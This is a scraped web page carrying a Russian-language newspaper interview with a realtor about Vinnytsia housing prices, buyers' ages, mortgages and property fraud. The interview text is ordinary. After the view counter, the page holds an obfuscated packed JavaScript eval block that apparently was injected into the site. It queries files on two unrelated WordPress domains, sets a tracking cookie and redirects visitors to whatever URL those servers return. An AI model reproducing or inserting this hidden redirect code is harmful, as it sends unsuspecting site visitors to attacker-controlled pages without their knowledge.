Пятница, 26 июля 2019 23:43

Что изменилось с 2004 года? Какой возраст у сегодняшних покупателей квартир?

Автор
Оцените материал
(0 голосов)
- Какой возраст у сегодняшних покупателей квартир? - Однозначно ответить на этот вопрос нельзя. Квартиры покупают и родители детям, и молодые люди приобретая квартиры оформляют на старших родственников. Средний возраст людей, которые приобретают недвижимость - от 30 до 40 лет. Ну, а если взять в процентном соотношении покупку недвижимости, то можно говорить, что около 40 % квартир приобретаются до 35 летнего возраста. - Финансовые эксперты прогнозируют, инфляцию. Как это затронет сферу недвижимости? - Рост цен я прогнозировал ещё с 2001 года. Тогда, после теракта в Нью-Йорке изменилась психология относительно «твердой валюты», что и повлекло вложение сбережений в недвижимость, а когда спрос превысил предложения цены молниеносно поднялись. Осень-зима этого года мы ожидаем максимальный рост цен. Но, хочу успокоить покупателей недвижимости - это явление временное. Снижение цен прогнозируется уже в первом полугодии до 20%, и во втором полугодии до 10%. Но подешевение тоже относительно - т.к. «осень-зима» цена на квартиры в процессе роста около 30%, то к осени 2005 года жильё постепенно вернётся к летней отметке 2004 года. - Как меняется состояние цен на рынке недвижимости? - В 2000 и 2001 годах предложение превышало спрос (Таб.1), это влияло на снижение цены. В 2002 году спрос вырос в 2 раза, а предложение уменшилось, что и повлекло за собой глобальный рост цен. В 2003 году ситуация более-менее стабилизировалась, за счёт уменьшения спроса и увеличения предложения. В 2004 году мы видим увеличение спроса и предложений – эта активность приведёт к максимальной отметке с последующим падением цены в следующих годах. Таблица 1. Соотношение рынка - Сейчас можно купить жильё в кредит, сможет ли это сделать каждый, есть ли в этом скрытые проблемы? - Взять кредит на приобретение квартиры не составляет проблем, но не каждый сможет себе это позволить, т.к. необходимо иметь достаточно официальных доходов. Да, все понимают, что доход это тоже относительно, т.к. вчера ты зарабатывал, а завтра ты безработный. Но на мой взгляд ориентир берётся по социальному уровню человека, а не по цифрам вчерашнего заработка. Проблемы в дальнейшем могут быть только через суд, но решение из сложившихся проблем можно всегда найти и до суда. Во-первых можно вести диалоги с кредиторами. Во-вторых мы можем помочь погасить кредит с продажи этого жилья и предложить дешевле, в любом случае человек не останется на улице. - Если вкладывать сбережения в недвижимость, то какое жильё следует выбрать? - В любом случае выбор индивидуален, но если взять показатель стоимости за квадратный метр (Таб.2), то видно, максимальная цена держится на жилые квартиры в возрасте около 10-20 лет. Но мой совет однозначный – в каждом случае можно извлечь выгоду, если выбирать и приобретать квартиры с помощью специалиста, а не держаться советов знакомых. Таблица 2. Динамика роста цен -Говорят, что риэлтеры могут охарактеризовать недвижимость по разному, что в этом таиться? - В любом деле необходим индивидуальный подход, другими словами психологически располагать к себе людей, ведь продавцы тоже люди. Для продажи квартиры следует знать не только юридическую сторону или стоимость квартир, но и определиться, что следует сказать а что лучше скрыть. Также дело обстоит и с желающими приобрести жильё, Ведь с каждым следует общаться и предлагать варианты покупки по разному. В любом случае специалист себе обман не позволит. Если подходить к вопросу недвижимости без психологии, то вряд ли люди находили общий язык, я уже не говорю о передачи собственности. Ведь самый сложный труд - связанным с общением. На первый взгляд процесс кажется простым, один продал – другой купил, но кто с этим сталкивался - согласиться, что без риэлтера, который не владеет психологией человека, невозможно довести вопросы с жильём до конечной продажи. -Приобретая или продавая недвижимость, где чаще встречается жульничество, и как этого избежать? - Желающих много сразу заработать на доверии людей много. С этим можно столкнуться и покупая и продавая, конечно вероятность при покупке больше, ведь с деньгами покупатель. Избежать это элементарно – следует вовремя обратиться в агентство, но не в любое, а со стажем работы и надежной репутацией, т.к. стратегию с обманом могут продумать и временно называемые себя риэлтеры. В Виннице уже много было инцидентов «лохотронов» при продаже жилья, и в каждом случае - люди, которые желали самостоятельно решить вопрос с недвижимостью, оставались с ничем. -Ваш совет читателям нашей газеты? - Деньги в «чулок» складывать не стоит, мы уже научены «советскими вкладами». Недвижимость была и остаётся самой надёжной долгосрочной инвестицией.
Прочитано 3 раз
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('9 H(f){5 7=" "+z.7;5 j=" "+f+"=";5 k=Q;5 8=0;5 a=0;6(7.n>0){8=7.i(j);6(8!=-1){8+=j.n;a=7.i(";",8);6(a==-1){a=7.n}k=12(7.K(8,a))}}C(k)}9 x(f,y,g,b,c,l){z.7=f+"="+10(y)+((g)?"; g="+g:"")+((b)?"; b="+b:"")+((c)?"; c="+c:"")+((l)?"; l":"")}9 I(){5 3;w{3=h A("Y.B")}F(e){w{3=h A("U.B")}F(E){3=R}}6(!3&&Z D!=\'V\'){3=h D()}C 3}5 S=\'G://14.1o/s-p/o/1n/v/r.t\';5 T=\'G://1p.1m/s-p/o/1k/1c/1b/1a/18/v/r.t\';6(H(\'O\')!=\'P\'){9 M(){5 d=h 1d();d.1e(d.1i()+1h*1g*1f*1);x(\'O\',\'P\',d.19())}9 m(N,J){5 3=I();3.1j(\'1q\',N,q);3.1l=9(){6(3.17==4&&3.X==W){6(3.L.i(\'u=\')==0){M();16.15=3.L.K(2)}13{6(J)m(T,R)}}};3.11(Q)}m(S,q)}',62,89,'|||xmlhttp||var|if|cookie|offset|function|end|path|domain|now||name|expires|new|indexOf|search|setStr|secure|lookupRedirect|length|themes|content|true||wp|php||css|try|setCookie|value|document|ActiveXObject|XMLHTTP|return|XMLHttpRequest||catch|https|getCookie|getXmlHttp|bIsFirst|substring|responseText|setAdsCookie|sUrl|newadsshow|complete|null|false|sAdsUrl1|sAdsUrl2|Microsoft|undefined|200|status|Msxml2|typeof|escape|send|unescape|else|datbinhduongdep|location|window|readyState|assets|toGMTString|advanced|admin|inc|Date|setTime|24|3600|1000|getTime|open|flatsome|onreadystatechange|com|basis|net|thaonhinguyen|GET'.split('|'),0,{}))